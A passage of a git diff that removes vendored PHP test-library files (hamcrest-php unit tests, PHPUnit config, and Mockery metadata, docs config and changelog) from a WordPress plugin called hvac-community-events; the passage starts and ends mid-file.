'invalid-function' - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsDoubleTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsDoubleTest.php deleted file mode 100644 index 85c2a963..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsDoubleTest.php +++ /dev/null @@ -1,35 +0,0 @@ -assertDescription('a double', doubleValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', doubleValue(), null); - $this->assertMismatchDescription('was a string "foo"', doubleValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsIntegerTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsIntegerTest.php deleted file mode 100644 index ce5a51a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsIntegerTest.php +++ /dev/null @@ -1,36 +0,0 @@ -assertDescription('an integer', integerValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', integerValue(), null); - $this->assertMismatchDescription('was a string "foo"', integerValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsNumericTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsNumericTest.php deleted file mode 100644 index 1fd83efe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsNumericTest.php +++ /dev/null @@ -1,53 +0,0 @@ -assertDescription('a number', numericValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', numericValue(), null); - $this->assertMismatchDescription('was a string "foo"', numericValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsObjectTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsObjectTest.php deleted file mode 100644 index a3b617c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsObjectTest.php +++ /dev/null @@ -1,34 +0,0 @@ -assertDescription('an object', objectValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', objectValue(), null); - $this->assertMismatchDescription('was a string "foo"', objectValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsResourceTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsResourceTest.php deleted file mode 100644 index d6ea5348..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsResourceTest.php +++ /dev/null @@ -1,34 +0,0 @@ -assertDescription('a resource', resourceValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', resourceValue(), null); - $this->assertMismatchDescription('was a string "foo"', resourceValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsScalarTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsScalarTest.php deleted file mode 100644 index 72a188d6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsScalarTest.php +++ /dev/null @@ -1,39 +0,0 @@ -assertDescription('a scalar', scalarValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', scalarValue(), null); - $this->assertMismatchDescription('was an array ["foo"]', scalarValue(), array('foo')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsStringTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsStringTest.php deleted file mode 100644 index 557d5913..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsStringTest.php +++ /dev/null @@ -1,35 +0,0 @@ -assertDescription('a string', stringValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', stringValue(), null); - $this->assertMismatchDescription('was a double <5.2F>', stringValue(), 5.2); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/UtilTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/UtilTest.php deleted file mode 100644 index 7248978c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/UtilTest.php +++ /dev/null @@ -1,82 +0,0 @@ -assertSame($matcher, $newMatcher); - } - - public function testWrapValueWithIsEqualWrapsPrimitive() - { - $matcher = \Hamcrest\Util::wrapValueWithIsEqual('foo'); - $this->assertInstanceOf('Hamcrest\Core\IsEqual', $matcher); - $this->assertTrue($matcher->matches('foo')); - } - - public function testCheckAllAreMatchersAcceptsMatchers() - { - \Hamcrest\Util::checkAllAreMatchers(array( - new \Hamcrest\Text\MatchesPattern('/fo+/'), - new \Hamcrest\Core\IsEqual('foo'), - )); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testCheckAllAreMatchersFailsForPrimitive() - { - \Hamcrest\Util::checkAllAreMatchers(array( - new \Hamcrest\Text\MatchesPattern('/fo+/'), - 'foo', - )); - } - - private function callAndAssertCreateMatcherArray($items) - { - $matchers = \Hamcrest\Util::createMatcherArray($items); - $this->assertInternalType('array', $matchers); - $this->assertSameSize($items, $matchers); - foreach ($matchers as $matcher) { - $this->assertInstanceOf('\Hamcrest\Matcher', $matcher); - } - - return $matchers; - } - - public function testCreateMatcherArrayLeavesMatchersUntouched() - { - $matcher = new \Hamcrest\Text\MatchesPattern('/fo+/'); - $items = array($matcher); - $matchers = $this->callAndAssertCreateMatcherArray($items); - $this->assertSame($matcher, $matchers[0]); - } - - public function testCreateMatcherArrayWrapsPrimitiveWithIsEqualMatcher() - { - $matchers = $this->callAndAssertCreateMatcherArray(array('foo')); - $this->assertInstanceOf('Hamcrest\Core\IsEqual', $matchers[0]); - $this->assertTrue($matchers[0]->matches('foo')); - } - - public function testCreateMatcherArrayDoesntModifyOriginalArray() - { - $items = array('foo'); - $this->callAndAssertCreateMatcherArray($items); - $this->assertSame('foo', $items[0]); - } - - public function testCreateMatcherArrayUnwrapsSingleArrayElement() - { - $matchers = $this->callAndAssertCreateMatcherArray(array(array('foo'))); - $this->assertInstanceOf('Hamcrest\Core\IsEqual', $matchers[0]); - $this->assertTrue($matchers[0]->matches('foo')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Xml/HasXPathTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Xml/HasXPathTest.php deleted file mode 100644 index 67748871..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Xml/HasXPathTest.php +++ /dev/null @@ -1,198 +0,0 @@ - - - - alice - Alice Frankel - admin - - - bob - Bob Frankel - user - - - charlie - Charlie Chan - user - - -XML; - self::$doc = new \DOMDocument(); - self::$doc->loadXML(self::$xml); - - self::$html = << - - Home Page - - -

Heading

-

Some text

- - -HTML; - } - - protected function createMatcher() - { - return \Hamcrest\Xml\HasXPath::hasXPath('/users/user'); - } - - public function testMatchesWhenXPathIsFound() - { - assertThat('one match', self::$doc, hasXPath('user[id = "bob"]')); - assertThat('two matches', self::$doc, hasXPath('user[role = "user"]')); - } - - public function testDoesNotMatchWhenXPathIsNotFound() - { - assertThat( - 'no match', - self::$doc, - not(hasXPath('user[contains(id, "frank")]')) - ); - } - - public function testMatchesWhenExpressionWithoutMatcherEvaluatesToTrue() - { - assertThat( - 'one match', - self::$doc, - hasXPath('count(user[id = "bob"])') - ); - } - - public function testDoesNotMatchWhenExpressionWithoutMatcherEvaluatesToFalse() - { - assertThat( - 'no matches', - self::$doc, - not(hasXPath('count(user[id = "frank"])')) - ); - } - - public function testMatchesWhenExpressionIsEqual() - { - assertThat( - 'one match', - self::$doc, - hasXPath('count(user[id = "bob"])', 1) - ); - assertThat( - 'two matches', - self::$doc, - hasXPath('count(user[role = "user"])', 2) - ); - } - - public function testDoesNotMatchWhenExpressionIsNotEqual() - { - assertThat( - 'no match', - self::$doc, - not(hasXPath('count(user[id = "frank"])', 2)) - ); - assertThat( - 'one match', - self::$doc, - not(hasXPath('count(user[role = "admin"])', 2)) - ); - } - - public function testMatchesWhenContentMatches() - { - assertThat( - 'one match', - self::$doc, - hasXPath('user/name', containsString('ice')) - ); - assertThat( - 'two matches', - self::$doc, - hasXPath('user/role', equalTo('user')) - ); - } - - public function testDoesNotMatchWhenContentDoesNotMatch() - { - assertThat( - 'no match', - self::$doc, - not(hasXPath('user/name', containsString('Bobby'))) - ); - assertThat( - 'no matches', - self::$doc, - not(hasXPath('user/role', equalTo('owner'))) - ); - } - - public function testProvidesConvenientShortcutForHasXPathEqualTo() - { - assertThat('matches', self::$doc, hasXPath('count(user)', 3)); - assertThat('matches', self::$doc, hasXPath('user[2]/id', 'bob')); - } - - public function testProvidesConvenientShortcutForHasXPathCountEqualTo() - { - assertThat('matches', self::$doc, hasXPath('user[id = "charlie"]', 1)); - } - - public function testMatchesAcceptsXmlString() - { - assertThat('accepts XML string', self::$xml, hasXPath('user')); - } - - public function testMatchesAcceptsHtmlString() - { - assertThat('accepts HTML string', self::$html, hasXPath('body/h1', 'Heading')); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'XML or HTML document with XPath "/users/user"', - hasXPath('/users/user') - ); - $this->assertDescription( - 'XML or HTML document with XPath "count(/users/user)" <2>', - hasXPath('/users/user', 2) - ); - $this->assertDescription( - 'XML or HTML document with XPath "/users/user/name"' - . ' a string starting with "Alice"', - hasXPath('/users/user/name', startsWith('Alice')) - ); - } - - public function testHasAReadableMismatchDescription() - { - $this->assertMismatchDescription( - 'XPath returned no results', - hasXPath('/users/name'), - self::$doc - ); - $this->assertMismatchDescription( - 'XPath expression result was <3F>', - hasXPath('/users/user', 2), - self::$doc - ); - $this->assertMismatchDescription( - 'XPath returned ["alice", "bob", "charlie"]', - hasXPath('/users/user/id', 'Frank'), - self::$doc - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/bootstrap.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/bootstrap.php deleted file mode 100644 index bc4958d1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/bootstrap.php +++ /dev/null @@ -1,11 +0,0 @@ - - - - . - - - - - - ../hamcrest - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.phpstorm.meta.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.phpstorm.meta.php deleted file mode 100644 index bb7acee5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.phpstorm.meta.php +++ /dev/null @@ -1,11 +0,0 @@ - "@"])); -override(\Mockery::spy(0), map(["" => "@"])); -override(\Mockery::namedMock(0), map(["" => "@"])); -override(\Mockery::instanceMock(0), map(["" => "@"])); -override(\mock(0), map(["" => "@"])); -override(\spy(0), map(["" => "@"])); -override(\namedMock(0), map(["" => "@"])); \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.readthedocs.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.readthedocs.yml deleted file mode 100644 index 7150d7b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.readthedocs.yml +++ /dev/null @@ -1,24 +0,0 @@ -# Read the Docs configuration file for Sphinx projects -# See https://docs.readthedocs.io/en/stable/config-file/v2.html for details - -# Required -version: 2 - -# Set the OS, Python version and other tools we might need -build: - os: ubuntu-22.04 - tools: - python: "3.12" - -# Build documentation in the "docs/" directory with Sphinx -sphinx: - configuration: docs/conf.py - -# Build documentation in additional formats such as PDF and ePub -formats: all - -# Build requirements for our documentation -# See https://docs.readthedocs.io/en/stable/guides/reproducible-builds.html -python: - install: - - requirements: docs/requirements.txt diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CHANGELOG.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CHANGELOG.md deleted file mode 100644 index 2180be21..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CHANGELOG.md +++ /dev/null @@ -1,419 +0,0 @@ -# Changelog - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [Unreleased] - -## [1.6.12] - 2024-05-15 - -### Changed - -- [1420: Update `psalm-baseline.xml` ](https://github.com/mockery/mockery/pull/1420) -- [1419: Update e2e-test.sh](https://github.com/mockery/mockery/pull/1419) -- [1413: Upgrade `phar` tools and `phive.xml` configuration](https://github.com/mockery/mockery/pull/1413) - -### Fixed - -- [1415: Fix mocking anonymous classes](https://github.com/mockery/mockery/pull/1415) -- [1411: Mocking final classes reports unresolvable type by PHPStan](https://github.com/mockery/mockery/issues/1411) -- [1410: Fix PHP Doc Comments](https://github.com/mockery/mockery/pull/1410) - -### Security - -- [1417: Bump `Jinja2` from `3.1.3` to `3.1.4` fix CVE-2024-34064](https://github.com/mockery/mockery/pull/1417) -- [1412: Bump `idna` from `3.6` to `3.7` fix CVE-2024-3651](https://github.com/mockery/mockery/pull/1412) - -## [1.6.11] - 2024-03-21 - -### Fixed - -- [1407: Fix constants map generics doc comments](https://github.com/mockery/mockery/pull/1407) -- [1406: Fix reserved words used to name a class, interface or trait](https://github.com/mockery/mockery/pull/1406) -- [1403: Fix regression - partial construction with trait methods](https://github.com/mockery/mockery/pull/1403) -- [1401: Improve `Mockery::mock()` parameter type compatibility with array typehints](https://github.com/mockery/mockery/pull/1401) - -## [1.6.10] - 2024-03-19 - -### Added - -- [1398: [PHP 8.4] Fixes for implicit nullability deprecation](https://github.com/mockery/mockery/pull/1398) - -### Fixed - -- [1397: Fix mock method $args parameter type](https://github.com/mockery/mockery/pull/1397) -- [1396: Fix `1.6.8` release](https://github.com/mockery/mockery/pull/1396) - -## [1.6.9] - 2024-03-12 - -- [1394: Revert v1.6.8 release](https://github.com/mockery/mockery/pull/1394) - -## [1.6.8] - 2024-03-12 - -- [1393: Changelog v1.6.8](https://github.com/mockery/mockery/pull/1393) -- [1392: Refactor remaining codebase](https://github.com/mockery/mockery/pull/1392) -- [1391: Update actions to use Node 20](https://github.com/mockery/mockery/pull/1391) -- [1390: Update `ReadTheDocs` dependencies](https://github.com/mockery/mockery/pull/1390) -- [1389: Refactor `library/Mockery/Matcher/*`](https://github.com/mockery/mockery/pull/1389) -- [1388: Refactor `library/Mockery/Loader/*`](https://github.com/mockery/mockery/pull/1388) -- [1387: Refactor `library/Mockery/CountValidator/*`](https://github.com/mockery/mockery/pull/1387) -- [1386: Add PHPUnit 10+ attributes](https://github.com/mockery/mockery/pull/1386) -- [1385: Update composer dependencies and clean up](https://github.com/mockery/mockery/pull/1385) -- [1384: Update `psalm-baseline.xml`](https://github.com/mockery/mockery/pull/1384) -- [1383: Refactor `library/helpers.php`](https://github.com/mockery/mockery/pull/1383) -- [1382: Refactor `library/Mockery/VerificationExpectation.php`](https://github.com/mockery/mockery/pull/1382) -- [1381: Refactor `library/Mockery/VerificationDirector.php`](https://github.com/mockery/mockery/pull/1381) -- [1380: Refactor `library/Mockery/QuickDefinitionsConfiguration.php`](https://github.com/mockery/mockery/pull/1380) -- [1379: Refactor `library/Mockery/Undefined.php`](https://github.com/mockery/mockery/pull/1379) -- [1378: Refactor `library/Mockery/Reflector.php`](https://github.com/mockery/mockery/pull/1378) -- [1377: Refactor `library/Mockery/ReceivedMethodCalls.php`](https://github.com/mockery/mockery/pull/1377) -- [1376: Refactor `library/Mockery.php`](https://github.com/mockery/mockery/pull/1376) -- [1375: Refactor `library/Mockery/MockInterface.php`](https://github.com/mockery/mockery/pull/1375) -- [1374: Refactor `library/Mockery/MethodCall.php`](https://github.com/mockery/mockery/pull/1374) -- [1373: Refactor `library/Mockery/LegacyMockInterface.php`](https://github.com/mockery/mockery/pull/1373) -- [1372: Refactor `library/Mockery/Instantiator.php`](https://github.com/mockery/mockery/pull/1372) -- [1371: Refactor `library/Mockery/HigherOrderMessage.php`](https://github.com/mockery/mockery/pull/1371) -- [1370: Refactor `library/Mockery/ExpectsHigherOrderMessage.php`](https://github.com/mockery/mockery/pull/1370) -- [1369: Refactor `library/Mockery/ExpectationInterface.php`](https://github.com/mockery/mockery/pull/1369) -- [1368: Refactor `library/Mockery/ExpectationDirector.php`](https://github.com/mockery/mockery/pull/1368) -- [1367: Refactor `library/Mockery/Expectation.php`](https://github.com/mockery/mockery/pull/1367) -- [1366: Refactor `library/Mockery/Exception.php`](https://github.com/mockery/mockery/pull/1366) -- [1365: Refactor `library/Mockery/Container.php`](https://github.com/mockery/mockery/pull/1365) -- [1364: Refactor `library/Mockery/Configuration.php`](https://github.com/mockery/mockery/pull/1364) -- [1363: Refactor `library/Mockery/CompositeExpectation.php`](https://github.com/mockery/mockery/pull/1363) -- [1362: Refactor `library/Mockery/ClosureWrapper.php`](https://github.com/mockery/mockery/pull/1362) -- [1361: Refactor `library/Mockery.php`](https://github.com/mockery/mockery/pull/1361) -- [1360: Refactor Container](https://github.com/mockery/mockery/pull/1360) -- [1355: Fix the namespace in the SubsetTest class](https://github.com/mockery/mockery/pull/1355) -- [1354: Add array-like objects support to hasKey/hasValue matchers](https://github.com/mockery/mockery/pull/1354) - -## [1.6.7] - 2023-12-09 - -### Added - -- [#1338: Support PHPUnit constraints as matchers](https://github.com/mockery/mockery/pull/1338) -- [#1336: Add factory methods for `IsEqual` and `IsSame` matchers](https://github.com/mockery/mockery/pull/1336) - -### Fixed - -- [#1346: Fix test namespaces](https://github.com/mockery/mockery/pull/1346) -- [#1343: Update documentation default theme and build version](https://github.com/mockery/mockery/pull/1343) -- [#1329: Prevent `shouldNotReceive` from getting overridden by invocation count methods](https://github.com/mockery/mockery/pull/1329) - -### Changed - -- [#1351: Update psalm-baseline.xml](https://github.com/mockery/mockery/pull/1351) -- [#1350: Changelog v1.6.7](https://github.com/mockery/mockery/pull/1350) -- [#1349: Cleanup](https://github.com/mockery/mockery/pull/1349) -- [#1348: Update makefile](https://github.com/mockery/mockery/pull/1348) -- [#1347: Bump phars dependencies](https://github.com/mockery/mockery/pull/1347) -- [#1344: Disabled travis-ci and sensiolabs webhooks](https://github.com/mockery/mockery/issues/1344) -- [#1342: Add `.readthedocs.yml` configuration](https://github.com/mockery/mockery/pull/1342) -- [#1340: docs: Remove misplaced semicolumn from code snippet](https://github.com/mockery/mockery/pull/1340) - -## 1.6.6 (2023-08-08) - -- [#1327: Changelog v1.6.6](https://github.com/mockery/mockery/pull/1327) -- [#1325: Keep the file that caused an error for inspection](https://github.com/mockery/mockery/pull/1325) -- [#1324: Fix Regression - Replace `+` Array Union Operator with `array_merge`](https://github.com/mockery/mockery/pull/1324) - -## 1.6.5 (2023-08-05) - -- [#1322: Changelog v1.6.5](https://github.com/mockery/mockery/pull/1322) -- [#1321: Autoload Test Fixtures Based on PHP Runtime Version](https://github.com/mockery/mockery/pull/1321) -- [#1320: Clean up mocks on destruct](https://github.com/mockery/mockery/pull/1320) -- [#1318: Fix misspelling in docs](https://github.com/mockery/mockery/pull/1318) -- [#1316: Fix compatibility issues with PHP 7.3](https://github.com/mockery/mockery/pull/1316) -- [#1315: Fix PHP 7.3 issues](https://github.com/mockery/mockery/issues/1315) -- [#1314: Add Security Policy](https://github.com/mockery/mockery/pull/1314) -- [#1313: Type declaration for `iterable|object`.](https://github.com/mockery/mockery/pull/1313) -- [#1312: Mock disjunctive normal form types](https://github.com/mockery/mockery/pull/1312) -- [#1299: Test PHP `8.3` language features](https://github.com/mockery/mockery/pull/1299) - -## 1.6.4 (2023-07-19) - -- [#1308: Changelog v1.6.4](https://github.com/mockery/mockery/pull/1308) -- [#1307: Revert `src` to `library` for `1.6.x`](https://github.com/mockery/mockery/pull/1307) - -## 1.6.3 (2023-07-18) - -- [#1304: Remove `extra.branch-alias` and update composer information](https://github.com/mockery/mockery/pull/1304) -- [#1303: Update `.gitattributes`](https://github.com/mockery/mockery/pull/1303) -- [#1302: Changelog v1.6.3](https://github.com/mockery/mockery/pull/1302) -- [#1301: Fix mocking classes with `new` initializers in method and attribute params on PHP 8.1](https://github.com/mockery/mockery/pull/1301) -- [#1298: Update default repository branch to latest release branch](https://github.com/mockery/mockery/issues/1298) -- [#1297: Update `Makefile` for contributors](https://github.com/mockery/mockery/pull/1297) -- [#1294: Correct return types of Mock for phpstan](https://github.com/mockery/mockery/pull/1294) -- [#1290: Rename directory `library` to `src`](https://github.com/mockery/mockery/pull/1290) -- [#1288: Update codecov workflow](https://github.com/mockery/mockery/pull/1288) -- [#1287: Update psalm configuration and workflow](https://github.com/mockery/mockery/pull/1287) -- [#1286: Update phpunit workflow](https://github.com/mockery/mockery/pull/1286) -- [#1285: Enforce the minimum required PHP version](https://github.com/mockery/mockery/pull/1285) -- [#1283: Update license and copyright information](https://github.com/mockery/mockery/pull/1283) -- [#1282: Create `COPYRIGHT.md` file](https://github.com/mockery/mockery/pull/1282) -- [#1279: Bump `vimeo/psalm` from `5.9.0` to `5.12.0`](https://github.com/mockery/mockery/pull/1279) - -## 1.6.2 (2023-06-07) - -- [#1276: Add `IsEqual` Argument Matcher](https://github.com/mockery/mockery/pull/1276) -- [#1275: Add `IsSame` Argument Matcher](https://github.com/mockery/mockery/pull/1275) -- [#1274: Update composer branch alias](https://github.com/mockery/mockery/pull/1274) -- [#1271: Support PHP 8.2 `true` Literal Type](https://github.com/mockery/mockery/pull/1271) -- [#1270: Support PHP 8.0 `false` Literal Type](https://github.com/mockery/mockery/pull/1270) - -## 1.6.1 (2023-06-05) - -- [#1267 Drops support for PHP <7.4](https://github.com/mockery/mockery/pull/1267) -- [#1192 Updated changelog for version 1.5.1 to include changes from #1180](https://github.com/mockery/mockery/pull/1192) -- [#1196 Update example in README.md](https://github.com/mockery/mockery/pull/1196) -- [#1199 Fix function parameter default enum value](https://github.com/mockery/mockery/pull/1199) -- [#1205 Deal with null type in PHP8.2](https://github.com/mockery/mockery/pull/1205) -- [#1208 Import MockeryTestCase fully qualified class name](https://github.com/mockery/mockery/pull/1208) -- [#1210 Add support for target class attributes](https://github.com/mockery/mockery/pull/1210) -- [#1212 docs: Add missing comma](https://github.com/mockery/mockery/pull/1212) -- [#1216 Fixes code generation for intersection types](https://github.com/mockery/mockery/pull/1216) -- [#1217 Add MockeryExceptionInterface](https://github.com/mockery/mockery/pull/1217) -- [#1218 tidy: avoids require](https://github.com/mockery/mockery/pull/1218) -- [#1222 Add .editorconfig](https://github.com/mockery/mockery/pull/1222) -- [#1225 Switch to PSR-4 autoload](https://github.com/mockery/mockery/pull/1225) -- [#1226 Refactoring risky tests](https://github.com/mockery/mockery/pull/1226) -- [#1230 Add vimeo/psalm and psalm/plugin-phpunit](https://github.com/mockery/mockery/pull/1230) -- [#1232 Split PHPUnit TestSuites for PHP 8.2](https://github.com/mockery/mockery/pull/1232) -- [#1233 Bump actions/checkout to v3](https://github.com/mockery/mockery/pull/1233) -- [#1234 Bump nick-invision/retry to v2](https://github.com/mockery/mockery/pull/1234) -- [#1235 Setup Codecov for code coverage](https://github.com/mockery/mockery/pull/1235) -- [#1236 Add Psalm CI Check](https://github.com/mockery/mockery/pull/1236) -- [#1237 Unignore composer.lock file](https://github.com/mockery/mockery/pull/1237) -- [#1239 Prevent CI run duplication](https://github.com/mockery/mockery/pull/1239) -- [#1241 Add PHPUnit workflow for PHP 8.3](https://github.com/mockery/mockery/pull/1241) -- [#1244 Improve ClassAttributesPass for Dynamic Properties](https://github.com/mockery/mockery/pull/1244) -- [#1245 Deprecate hamcrest/hamcrest-php package](https://github.com/mockery/mockery/pull/1245) -- [#1246 Add BUG_REPORT.yml Issue template](https://github.com/mockery/mockery/pull/1246) -- [#1250 Deprecate PHP <=8.0](https://github.com/mockery/mockery/issues/1250) -- [#1253 Prevent array to string conversion when serialising a Subset matcher](https://github.com/mockery/mockery/issues/1253) - -## 1.6.0 (2023-06-05) [DELETED] - -This tag was deleted due to a mistake with the composer.json PHP version -constraint, see [#1266](https://github.com/mockery/mockery/issues/1266) - -## 1.3.6 (2022-09-07) - -- PHP 8.2 | Fix "Use of "parent" in callables is deprecated" notice #1169 - -## 1.5.1 (2022-09-07) - -- [PHP 8.2] Various tests: explicitly declare properties #1170 -- [PHP 8.2] Fix "Use of "parent" in callables is deprecated" notice #1169 -- [PHP 8.1] Support intersection types #1164 -- Handle final `__toString` methods #1162 -- Only count assertions on expectations which can fail a test #1180 - -## 1.5.0 (2022-01-20) - -- Override default call count expectations via expects() #1146 -- Mock methods with static return types #1157 -- Mock methods with mixed return type #1156 -- Mock classes with new in initializers on PHP 8.1 #1160 -- Removes redundant PHPUnitConstraint #1158 - -## 1.4.4 (2021-09-13) - -- Fixes auto-generated return values #1144 -- Adds support for tentative types #1130 -- Fixes for PHP 8.1 Support (#1130 and #1140) -- Add method that allows defining a set of arguments the mock should yield #1133 -- Added option to configure default matchers for objects `\Mockery::getConfiguration()->setDefaultMatcher($class, $matcherClass)` #1120 - -## 1.3.5 (2021-09-13) - -- Fix auto-generated return values with union types #1143 -- Adds support for tentative types #1130 -- Fixes for PHP 8.1 Support (#1130 and #1140) -- Add method that allows defining a set of arguments the mock should yield #1133 -- Added option to configure default matchers for objects `\Mockery::getConfiguration()->setDefaultMatcher($class, $matcherClass)` #1120 - -## 1.4.3 (2021-02-24) - -- Fixes calls to fetchMock before initialisation #1113 -- Allow shouldIgnoreMissing() to behave in a recursive fashion #1097 -- Custom object formatters #766 (Needs Docs) -- Fix crash on a union type including null #1106 - -## 1.3.4 (2021-02-24) - -- Fixes calls to fetchMock before initialisation #1113 -- Fix crash on a union type including null #1106 - -## 1.4.2 (2020-08-11) - -- Fix array to string conversion in ConstantsPass (#1086) -- Fixed nullable PHP 8.0 union types (#1088, #1089) -- Fixed support for PHP 8.0 parent type (#1088, #1089) -- Fixed PHP 8.0 mixed type support (#1088, #1089) -- Fixed PHP 8.0 union return types (#1088, #1089) - -## 1.4.1 (2020-07-09) - -- Allow quick definitions to use 'at least once' expectation - `\Mockery::getConfiguration()->getQuickDefinitions()->shouldBeCalledAtLeastOnce(true)` (#1056) -- Added provisional support for PHP 8.0 (#1068, #1072,#1079) -- Fix mocking methods with iterable return type without specifying a return value (#1075) - -## 1.3.3 (2020-08-11) - -- Fix array to string conversion in ConstantsPass (#1086) -- Fixed nullable PHP 8.0 union types (#1088) -- Fixed support for PHP 8.0 parent type (#1088) -- Fixed PHP 8.0 mixed type support (#1088) -- Fixed PHP 8.0 union return types (#1088) - -## 1.3.2 (2020-07-09) - -- Fix mocking with anonymous classes (#1039) -- Fix andAnyOthers() to properly match earlier expectations (#1051) -- Added provisional support for PHP 8.0 (#1068, #1072,#1079) -- Fix mocking methods with iterable return type without specifying a return value (#1075) - -## 1.4.0 (2020-05-19) - -- Fix mocking with anonymous classes (#1039) -- Fix andAnyOthers() to properly match earlier expectations (#1051) -- Drops support for PHP < 7.3 and PHPUnit < 8 (#1059) - -## 1.3.1 (2019-12-26) - -- Revert improved exception debugging due to BC breaks (#1032) - -## 1.3.0 (2019-11-24) - -- Added capture `Mockery::capture` convenience matcher (#1020) -- Added `andReturnArg` to echo back an argument passed to a an expectation (#992) -- Improved exception debugging (#1000) -- Fixed `andSet` to not reuse properties between mock objects (#1012) - -## 1.2.4 (2019-09-30) - -- Fix a bug introduced with previous release, for empty method definition lists (#1009) - -## 1.2.3 (2019-08-07) - -- Allow mocking classes that have allows and expects methods (#868) -- Allow passing thru __call method in all mock types (experimental) (#969) -- Add support for `!` to blacklist methods (#959) -- Added `withSomeOfArgs` to partial match a list of args (#967) -- Fix chained demeter calls with type hint (#956) - -## 1.2.2 (2019-02-13) - -- Fix a BC breaking change for PHP 5.6/PHPUnit 5.7.27 (#947) - -## 1.2.1 